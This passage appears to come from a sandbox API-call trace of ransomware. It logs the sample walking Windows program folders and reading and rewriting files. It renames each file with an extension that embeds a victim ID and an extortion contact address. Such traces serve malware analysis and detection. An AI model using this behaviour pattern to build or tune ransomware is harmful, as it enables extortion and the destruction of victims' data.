lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0219.798] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.798] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffcc4 | out: lpFindFileData=0x2fffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x48f55b0e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x27c, dwReserved0=0x2fffd20, dwReserved1=0x6d77d8, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5340 [0219.798] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0219.798] Sleep (dwMilliseconds=0x1) [0219.808] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\index.html", len=0x6f | out: pbstr=0x2ffff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\index.html") returned 1 [0219.808] GetProcessHeap () returned 0x630000 [0219.808] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50b0) returned 0x6fe3bb0 [0219.808] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-fr\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0219.809] CloseHandle (hObject=0x6e8) returned 1 [0219.809] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0219.809] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-fr\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-fr\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0219.810] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.810] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffc6c | out: lpFindFileData=0x2fffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5580 [0219.810] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0219.810] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-fr\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0219.810] GetProcessHeap () returned 0x630000 [0219.810] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa7a1) returned 0x733c008 [0219.810] GetProcessHeap () returned 0x630000 [0219.810] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa7a1) returned 0x73467b8 [0219.810] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.810] ReadFile (in: hFile=0x6e8, lpBuffer=0x733c008, nNumberOfBytesToRead=0xa780, lpNumberOfBytesRead=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x733c008*, lpNumberOfBytesRead=0x2ffff0c*=0xa780, lpOverlapped=0x0) returned 1 [0224.627] GetProcessHeap () returned 0x630000 [0224.627] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7175df0 [0224.627] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.627] WriteFile (in: hFile=0x6e8, lpBuffer=0x73467b8*, nNumberOfBytesToWrite=0xa780, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x73467b8*, lpNumberOfBytesWritten=0x2ffff0c*=0xa780, lpOverlapped=0x0) returned 1 [0225.329] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.329] WriteFile (in: hFile=0x6e8, lpBuffer=0x7350f37*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x7350f37*, lpNumberOfBytesWritten=0x2ffff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.747] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.747] WriteFile (in: hFile=0x6e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x2ffff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.747] CloseHandle (hObject=0x6e8) returned 1 [0225.748] GetProcessHeap () returned 0x630000 [0225.748] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73467b8 | out: hHeap=0x630000) returned 1 [0225.748] GetProcessHeap () returned 0x630000 [0225.748] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x733c008 | out: hHeap=0x630000) returned 1 [0225.748] GetProcessHeap () returned 0x630000 [0225.748] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7175df0 | out: hHeap=0x630000) returned 1 [0226.659] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.660] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffcc4 | out: lpFindFileData=0x2fffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c81c0c0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa7bc, dwReserved0=0xdd07496, dwReserved1=0x733c000, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5540 [0226.660] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0226.660] Sleep (dwMilliseconds=0x1) [0226.668] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\Windows Mail\\thunderbird.exe", len=0x2d | out: pbstr=0x2ffff7c*="C:\\Program Files\\Windows Mail\\thunderbird.exe") returned 1 [0226.668] GetProcessHeap () returned 0x630000 [0226.668] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5214) returned 0x6fe3bb0 [0226.668] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail\\thunderbird.exe" (normalized: "c:\\program files\\windows mail\\thunderbird.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.669] Sleep (dwMilliseconds=0x1) [0226.683] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\Windows Defender\\MpUXSrv.exe", len=0x2d | out: pbstr=0x2ffff7c*="C:\\Program Files\\Windows Defender\\MpUXSrv.exe") returned 1 [0226.683] GetProcessHeap () returned 0x630000 [0226.683] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51d4) returned 0x6fe3bb0 [0226.683] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\MpUXSrv.exe" (normalized: "c:\\program files\\windows defender\\mpuxsrv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.693] Sleep (dwMilliseconds=0x1) [0226.702] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x2ffff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\toastbeginupgrade.xml") returned 1 [0226.702] GetProcessHeap () returned 0x630000 [0226.702] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x516c) returned 0x6fe3bb0 [0226.703] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-cn\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0226.997] CloseHandle (hObject=0x66c) returned 1 [0226.997] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0226.997] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-cn\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-cn\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0227.012] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.013] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffc6c | out: lpFindFileData=0x2fffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x949a9132, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x221, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5040 [0227.013] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0227.013] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-cn\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0227.013] GetProcessHeap () returned 0x630000 [0227.013] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x717e148 [0227.013] GetProcessHeap () returned 0x630000 [0227.013] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x6405b0 [0227.013] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.013] ReadFile (in: hFile=0x66c, lpBuffer=0x717e148, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x717e148*, lpNumberOfBytesRead=0x2ffff0c*=0x220, lpOverlapped=0x0) returned 1 [0227.025] GetProcessHeap () returned 0x630000 [0227.025] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71774e8 [0227.025] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.025] WriteFile (in: hFile=0x66c, lpBuffer=0x6405b0*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6405b0*, lpNumberOfBytesWritten=0x2ffff0c*=0x220, lpOverlapped=0x0) returned 1 [0227.025] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.025] WriteFile (in: hFile=0x66c, lpBuffer=0x6407cf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6407cf*, lpNumberOfBytesWritten=0x2ffff0c*=0x20, lpOverlapped=0x0) returned 1 [0227.025] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.025] WriteFile (in: hFile=0x66c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x2ffff0c*=0x4, lpOverlapped=0x0) returned 1 [0227.025] CloseHandle (hObject=0x66c) returned 1 [0227.025] GetProcessHeap () returned 0x630000 [0227.025] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6405b0 | out: hHeap=0x630000) returned 1 [0227.025] GetProcessHeap () returned 0x630000 [0227.025] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717e148 | out: hHeap=0x630000) returned 1 [0227.026] GetProcessHeap () returned 0x630000 [0227.026] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71774e8 | out: hHeap=0x630000) returned 1 [0227.026] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.026] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffcc4 | out: lpFindFileData=0x2fffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x949a9132, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d453a19, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0xdd07496, dwReserved1=0x717e140, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5200 [0227.026] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0227.026] Sleep (dwMilliseconds=0x1) [0227.058] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\WindowsUpdatePrivacySetting.scale-200.png", len=0x92 | out: pbstr=0x2ffff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\WindowsUpdatePrivacySetting.scale-200.png") returned 1 [0227.058] GetProcessHeap () returned 0x630000 [0227.058] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5150) returned 0x6fe3bb0 [0227.058] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\WindowsUpdatePrivacySetting.scale-200.png" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\windowsupdateprivacysetting.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0227.115] CloseHandle (hObject=0x6d8) returned 1 [0227.115] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0227.116] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\WindowsUpdatePrivacySetting.scale-200.png" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\windowsupdateprivacysetting.scale-200.png"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\WindowsUpdatePrivacySetting.scale-200.png.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\windowsupdateprivacysetting.scale-200.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0227.120] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.120] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\WindowsUpdatePrivacySetting.scale-200.png.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffc6c | out: lpFindFileData=0x2fffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0xb1d8d400, ftLastWriteTime.dwHighDateTime=0x1d2ec03, nFileSizeHigh=0x0, nFileSizeLow=0x16e1, dwReserved0=0x8808e161, dwReserved1=0x740065, cFileName="WindowsUpdatePrivacySetting.scale-200.png.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINDOW~1.FIR")) returned 0x6d5280 [0227.120] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0227.120] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\WindowsUpdatePrivacySetting.scale-200.png.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\windowsupdateprivacysetting.scale-200.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0227.121] GetProcessHeap () returned 0x630000 [0227.121] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1701) returned 0x72ad790 [0227.121] GetProcessHeap () returned 0x630000 [0227.121] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1701) returned 0x6f105e8 [0227.121] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.121] ReadFile (in: hFile=0x6d8, lpBuffer=0x72ad790, nNumberOfBytesToRead=0x16e0, lpNumberOfBytesRead=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x72ad790*, lpNumberOfBytesRead=0x2ffff0c*=0x16e0, lpOverlapped=0x0) returned 1 [0227.172] GetProcessHeap () returned 0x630000 [0227.172] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176b10 [0227.172] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.172] WriteFile (in: hFile=0x6d8, lpBuffer=0x6f105e8*, nNumberOfBytesToWrite=0x16e0, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f105e8*, lpNumberOfBytesWritten=0x2ffff0c*=0x16e0, lpOverlapped=0x0) returned 1 [0227.172] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.172] WriteFile (in: hFile=0x6d8, lpBuffer=0x6f11cc7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f11cc7*, lpNumberOfBytesWritten=0x2ffff0c*=0x20, lpOverlapped=0x0) returned 1 [0227.172] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.172] WriteFile (in: hFile=0x6d8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x2ffff0c*=0x4, lpOverlapped=0x0) returned 1 [0227.172] CloseHandle (hObject=0x6d8) returned 1 [0227.172] GetProcessHeap () returned 0x630000 [0227.173] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f105e8 | out: hHeap=0x630000) returned 1 [0227.173] GetProcessHeap () returned 0x630000 [0227.173] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72ad790 | out: hHeap=0x630000) returned 1 [0227.173] GetProcessHeap () returned 0x630000 [0227.173] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176b10 | out: hHeap=0x630000) returned 1 [0227.173] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.173] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\WindowsUpdatePrivacySetting.scale-200.png.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffcc4 | out: lpFindFileData=0x2fffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d5aae56, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1705, dwReserved0=0xdd07496, dwReserved1=0x72ad788, cFileName="WindowsUpdatePrivacySetting.scale-200.png.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINDOW~1.FIR")) returned 0x6d5440 [0227.173] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0227.173] Sleep (dwMilliseconds=0x1) [0229.168] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x2ffff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\toastbeginupgradeth2.xml") returned 1 [0229.168] GetProcessHeap () returned 0x630000 [0229.168] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5108) returned 0x6fe3bb0 [0229.168] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\toastbeginupgradeth2.xml" (normalized: "c:\\program 